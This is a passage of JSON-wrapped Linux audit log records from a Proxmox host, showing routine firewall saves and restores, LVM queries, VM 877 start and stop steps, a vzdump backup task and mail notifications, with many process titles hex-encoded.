mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075826,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.826:64025): proctitle=\"ip6tables-save\""} {"@timestamp":1781965555031,"@rawstring":"node=pve type=PATH msg=audit(1781965555.031:66097): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075818,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.818:64024): proctitle=\"iptables-save\""} {"@timestamp":1781965554859,"@rawstring":"node=pve type=PATH msg=audit(1781965554.859:66096): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075816,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.816:64023): proctitle=\"ebtables-restore\""} {"@timestamp":1781965554859,"@rawstring":"node=pve type=PATH msg=audit(1781965554.859:66096): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075814,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.814:64022): proctitle=\"ebtables-restore\""} {"@timestamp":1781965554834,"@rawstring":"node=pve type=PATH msg=audit(1781965554.834:66095): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075808,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.808:64021): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965554834,"@rawstring":"node=pve type=PATH msg=audit(1781965554.834:66095): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075802,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.802:64020): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965553430,"@rawstring":"node=pve type=PATH msg=audit(1781965553.430:66094): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075798,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.798:64019): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965553430,"@rawstring":"node=pve type=PATH msg=audit(1781965553.430:66094): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075792,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.792:64018): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965553430,"@rawstring":"node=pve type=PATH msg=audit(1781965553.430:66093): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075786,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.786:64017): proctitle=697073657400726573746F7265"} {"@timestamp":1781965553429,"@rawstring":"node=pve type=PATH msg=audit(1781965553.429:66092): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075779,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.779:64016): proctitle=\"ip6tables-save\""} {"@timestamp":1781965553422,"@rawstring":"node=pve type=PATH msg=audit(1781965553.422:66091): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075772,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.772:64015): proctitle=\"iptables-save\""} {"@timestamp":1781965553422,"@rawstring":"node=pve type=PATH msg=audit(1781965553.422:66091): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075768,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.768:64014): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965553422,"@rawstring":"node=pve type=PATH msg=audit(1781965553.422:66090): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075763,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.763:64013): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965553422,"@rawstring":"node=pve type=PATH msg=audit(1781965553.422:66089): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075763,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.763:64012): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965548415,"@rawstring":"node=pve type=PATH msg=audit(1781965548.415:66088): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075763,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.763:64011): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965548415,"@rawstring":"node=pve type=PATH msg=audit(1781965548.415:66088): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075757,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.757:64010): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965548415,"@rawstring":"node=pve type=PATH msg=audit(1781965548.415:66087): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075751,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.751:64009): proctitle=\"ip6tables-save\""} {"@timestamp":1781965548415,"@rawstring":"node=pve type=PATH msg=audit(1781965548.415:66086): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075743,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.743:64008): proctitle=\"iptables-save\""} {"@timestamp":1781965548408,"@rawstring":"node=pve type=PATH msg=audit(1781965548.408:66085): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075738,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.738:64007): proctitle=69707365740073617665"} {"@timestamp":1781965548408,"@rawstring":"node=pve type=PATH msg=audit(1781965548.408:66085): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075731,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.731:64006): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965548408,"@rawstring":"node=pve type=PATH msg=audit(1781965548.408:66084): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075723,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.723:64005): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965548408,"@rawstring":"node=pve type=PATH msg=audit(1781965548.408:66083): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075528,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.528:64004): proctitle=2F7573722F6C69622F73797374656D642F73797374656D642D73797363746C002D2D7072656669783D2F6E65742F697076342F636F6E662F7461703837376930002D2D7072656669783D2F6E65742F697076342F6E656967682F7461703837376930002D2D7072656669783D2F6E65742F697076362F636F6E662F7461703837"} {"@timestamp":1781965546014,"@rawstring":"node=pve type=PATH msg=audit(1781965546.014:66082): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075525,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.525:64003): proctitle=2F62696E2F7368002D65002F7573722F6C69622F6F70656E2D69736373692F6E65742D696E746572666163652D68616E646C6572007374617274"} {"@timestamp":1781965546014,"@rawstring":"node=pve type=PATH msg=audit(1781965546.014:66082): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075522,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.522:64002): proctitle=\"(udev-worker)\""} {"@timestamp":1781965546008,"@rawstring":"node=pve type=PATH msg=audit(1781965546.008:66081): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075521,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.521:64001): proctitle=7265616C70617468002F7379732F646576696365732F7669727475616C2F6E65742F74617038373769302F2E2E2F2E2E"} {"@timestamp":1781965546008,"@rawstring":"node=pve type=PATH msg=audit(1781965546.008:66081): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075519,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.519:64000): proctitle=2F62696E2F7368002F7573722F6C69622F756465762F7669727475616C2D66756E6374696F6E2D6E616D696E672D68656C706572"} {"@timestamp":1781965546008,"@rawstring":"node=pve type=PATH msg=audit(1781965546.008:66080): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075517,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.517:63999): proctitle=2F7573722F62696E2F7065726C002F7573722F6C6962657865632F71656D752D7365727665722F7076652D627269646765007461703837376930"} {"@timestamp":1781965546008,"@rawstring":"node=pve type=PATH msg=audit(1781965546.008:66080): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075461,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.461:63998): proctitle=2F7573722F62696E2F6B766D002D696400383737002D6E616D65005072696D6172792D446F6D61696E436F6E74726F6C6C65722C64656275672D746872656164733D6F6E002D6E6F2D73687574646F776E002D6368617264657600736F636B65742C69643D716D702C706174683D2F7661722F72756E2F71656D752D73657276"} {"@timestamp":1781965546008,"@rawstring":"node=pve type=PATH msg=audit(1781965546.008:66079): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075400,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.400:63997): proctitle=2F62696E2F73797374656D63746C0073746F70003837372E73636F7065"} {"@timestamp":1781965546002,"@rawstring":"node=pve type=PATH msg=audit(1781965546.002:66078): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075389,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.389:63996): proctitle=2F62696E2F73797374656D63746C0072657365742D6661696C6564003837372E73636F7065"} {"@timestamp":1781965546002,"@rawstring":"node=pve type=PATH msg=audit(1781965546.002:66078): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075377,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.377:63995): proctitle=2F62696E2F73797374656D63746C0072657365742D6661696C6564007076652D646275732D766D7374617465403837372E73657276696365"} {"@timestamp":1781965546002,"@rawstring":"node=pve type=PATH msg=audit(1781965546.002:66078): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075329,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.329:63994): proctitle=2F7573722F62696E2F6B766D002D2D76657273696F6E"} {"@timestamp":1781965545995,"@rawstring":"node=pve type=PATH msg=audit(1781965545.995:66077): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075296,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.296:63993): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965545995,"@rawstring":"node=pve type=PATH msg=audit(1781965545.995:66077): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075260,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.260:63992): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965545986,"@rawstring":"node=pve type=PATH msg=audit(1781965545.986:66076): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965074053,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965074.053:63991): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965545986,"@rawstring":"node=pve type=PATH msg=audit(1781965545.986:66076): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965074025,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965074.025:63990): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965545978,"@rawstring":"node=pve type=PATH msg=audit(1781965545.978:66075): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965072994,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965072.994:63989): proctitle=2F7573722F7362696E2F706F737464726F70002D72"} {"@timestamp":1781965545978,"@rawstring":"node=pve type=PATH msg=audit(1781965545.978:66075): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965072989,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965072.989:63988): proctitle=2F7573722F7362696E2F73656E646D61696C002D4E006E65766572002D6600726F6F74002D2D006C75637940647261676F6E63617473696C6C792E6E6574"} {"@timestamp":1781965545968,"@rawstring":"node=pve type=PATH msg=audit(1781965545.968:66074): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965072982,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965072.982:63987): proctitle=\"/usr/libexec/proxmox-mail-forward\""} {"@timestamp":1781965545968,"@rawstring":"node=pve type=PATH msg=audit(1781965545.968:66074): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965072907,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965072.907:63986): proctitle=2F7573722F7362696E2F706F737464726F70002D72"} {"@timestamp":1781965545962,"@rawstring":"node=pve type=PATH msg=audit(1781965545.962:66072): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965072896,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965072.896:63985): proctitle=2F7573722F7362696E2F73656E646D61696C002D4200384249544D494D45002D6600726F6F74002D2D006C75637940647261676F6E63617473696C6C792E6E6574"} {"@timestamp":1781965545962,"@rawstring":"node=pve type=PATH msg=audit(1781965545.962:66072): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965072887,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965072.887:63984): proctitle=7461736B20555049443A7076653A30303030454632423A30303136413039303A36413336413046423A767A64756D703A3837373A726F6F744070616D3A"} {"@timestamp":1781965545956,"@rawstring":"node=pve type=PATH msg=audit(1781965545.956:66071): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965072887,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965072.887:63983): proctitle=7461736B20555049443A7076653A30303030454632423A30303136413039303A36413336413046423A767A64756D703A3837373A726F6F744070616D3A"} {"@timestamp":1781965545956,"@rawstring":"node=pve type=PATH msg=audit(1781965545.956:66071): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071867,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965071.867:63982): proctitle=2F7573722F62696E2F7065726C002F7573722F7362696E2F716D00636C65616E75700038373700310030"} {"@timestamp":1781965545949,"@rawstring":"node=pve type=PATH msg=audit(1781965545.949:66070): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071861,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965071.861:63981): proctitle=2F62696E2F7368002D65002F7573722F6C69622F6F70656E2D69736373692F6E65742D696E746572666163652D68616E646C65720073746F70"} {"@timestamp":1781965545949,"@rawstring":"node=pve type=PATH msg=audit(1781965545.949:66070): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071855,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965071.855:63980): proctitle=2F7573722F62696E2F7065726C002F7573722F6C6962657865632F71656D752D7365727665722F7076652D627269646765646F776E007461703837376930"} {"@timestamp":1781965545942,"@rawstring":"node=pve type=PATH msg=audit(1781965545.942:66069): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071851,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965071.851:63979): proctitle=2F62696E2F7368002D65002F7573722F6C69622F6F70656E2D69736373692F6E65742D696E746572666163652D68616E646C65720073746F70"} {"@timestamp":1781965545942,"@rawstring":"node=pve type=PATH msg=audit(1781965545.942:66069): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071840,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965071.840:63978): proctitle=2F7362696E2F6970006C696E6B0064656C6574650064657600667762723837376930"} {"@timestamp":1781965545936,"@rawstring":"node=pve type=PATH msg=audit(1781965545.936:66068): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071836,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965071.836:63977): proctitle=2F62696E2F7368002D65002F7573722F6C69622F6F70656E2D69736373692F6E65742D696E746572666163652D68616E646C65720073746F70"} {"@timestamp":1781965545936,"@rawstring":"node=pve type=PATH msg=audit(1781965545.936:66068): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071836,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965071.836:63976): proctitle=2F7573722F62696E2F7065726C002F7573722F6C6962657865632F71656D752D7365727665722F7076652D627269646765646F776E007461703837376930"} {"@timestamp":1781965545928,"@rawstring":"node=pve type=PATH msg=audit(1781965545.928:66067): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071829,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965071.829:63974): proctitle=2F7362696E2F6970006C696E6B0064656C657465006465760066776C6E3837376930"} {"@timestamp":1781965545928,"@rawstring":"node=pve type=PATH msg=audit(1781965545.928:66067): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071832,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965071.832:63975): proctitle=2F62696E2F7368002D65002F7573722F6C69622F6F70656E2D69736373692F6E65742D696E746572666163652D68616E646C65720073746F70"} {"@timestamp":1781965545916,"@rawstring":"node=pve type=PATH msg=audit(1781965545.916:66066): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071827,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965071.827:63973): proctitle=2F7362696E2F6970006C696E6B0064656C657465006465760066776C6E3837376930"} {"@timestamp":1781965545916,"@rawstring":"node=pve type=PATH msg=audit(1781965545.916:66066): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071822,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965071.822:63972): proctitle=2F7362696E2F6970006C696E6B00736574007461703837376930006E6F6D6173746572"} {"@timestamp":1781965545906,"@rawstring":"node=pve type=PATH msg=audit(1781965545.906:66065): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071686,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965071.686:63971): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965545906,"@rawstring":"node=pve type=PATH msg=audit(1781965545.906:66065): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071686,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965071.686:63970): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965545900,"@rawstring":"node=pve type=PATH msg=audit(1781965545.900:66064): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071686,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965071.686:63969): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965545900,"@rawstring":"node=pve type=PATH msg=audit(1781965545.900:66064): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071678,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965071.678:63968): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} 